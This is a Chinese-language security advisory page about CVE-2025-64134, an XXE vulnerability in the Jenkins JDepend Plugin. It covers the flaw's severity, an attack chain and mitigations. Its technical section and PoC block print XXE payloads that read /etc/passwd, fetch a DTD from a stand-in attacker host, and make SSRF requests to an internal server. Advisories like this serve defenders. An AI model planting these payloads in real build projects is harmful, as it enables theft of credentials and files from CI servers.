IPBUF安全漏洞报告
English
CVE-2025-64134 CVSS 7.1 高危

CVE-2025-64134: Jenkins JDepend Plugin XXE漏洞

披露日期: 2025-10-29

漏洞信息

漏洞编号
CVE-2025-64134
漏洞类型
XXE (XML外部实体注入)
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Jenkins JDepend Plugin

相关标签

XXEXML外部实体注入JenkinsJDepend PluginCI/CD安全认证绕过敏感信息泄露

漏洞概述

Jenkins JDepend Plugin 1.3.1及更早版本存在一个严重的安全漏洞。该插件集成了一个过时的JDepend Maven Plugin版本,该版本未正确配置其XML解析器以防止XML外部实体(XXE)攻击。XXE是一种针对XML解析器的攻击技术,攻击者可以通过构造恶意的XML文件,利用外部实体引用来读取服务器上的敏感文件、执行系统命令或发起拒绝服务攻击。由于Jenkins通常具有较高的系统权限,攻击者成功利用此漏洞可能导致敏感凭证泄露、配置文件被读取,甚至进一步横向移动到其他系统。该漏洞无需用户交互即可被低权限用户利用,攻击复杂度低,具有较高的实际威胁性。Jenkins作为CI/CD流水线的核心组件,一旦被攻击,将影响整个软件开发和部署流程的安全性。

技术细节

该漏洞源于JDepend Maven Plugin使用的XML解析器未禁用外部实体引用功能。在XML标准中,外部实体允许引用外部文件或URL资源。攻击者可以通过构造包含外部实体引用的恶意XML文件,诱使解析器读取服务器本地文件或发起SSRF攻击。具体来说,当Jenkins构建过程中调用JDepend插件分析Java项目的依赖关系时,如果项目目录中存在攻击者可控的XML配置文件,攻击者可以注入外部实体引用。例如,通过在XML中插入<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>,可以读取系统敏感文件。攻击者还可以利用<!ENTITY xxe SYSTEM "http://attacker.com/evil.dtd">]发起外部攻击。由于Jenkins通常以较高权限运行,攻击者可能读取Jenkins配置文件、SSH密钥、API令牌等敏感信息,进一步扩大攻击面。

攻击链分析

STEP 1
步骤1
攻击者在Git仓库或项目中植入恶意XML文件,该文件包含XXE payload
STEP 2
步骤2
Jenkins触发构建流程,调用JDepend Plugin分析项目依赖
STEP 3
步骤3
JDepend Plugin的XML解析器处理恶意XML,解析外部实体引用
STEP 4
步骤4
攻击者通过XXE读取服务器敏感文件(如/etc/passwd、Jenkins凭证等)或发起SSRF攻击
STEP 5
步骤5
利用获取的敏感信息进行横向移动或进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2025-64134: Jenkins JDepend Plugin XXE --> <!-- This PoC demonstrates how an attacker can exploit the XXE vulnerability --> <!-- Usage: Place this XML file in a project directory that Jenkins will analyze --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE jdepend [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> <!ENTITY xxe2 SYSTEM "http://attacker-controlled-server/xxe.dtd"> ]> <jdepend> <packages> <package name="com.example.vulnerable"> <度量>&xxe;</度量> </package> </packages> </jdepend> <!-- For SSRF attack --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY file SYSTEM "http://internal-network-server:8080/admin"> ]> <data>&file;</data>

影响范围

Jenkins JDepend Plugin <= 1.3.1

防御指南

临时缓解措施
如果无法立即升级,可以采取以下临时缓解措施:1) 在Jenkins配置中禁用或移除JDepend Plugin;2) 限制用户对项目配置文件的提交权限,实施代码审查机制;3) 使用Jenkins的安全矩阵功能限制低权限用户的构建权限;4) 监控Jenkins日志,检测异常的XML解析行为;5) 在网络层面限制Jenkins服务器对外的访问,特别是禁止访问内部网络资源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表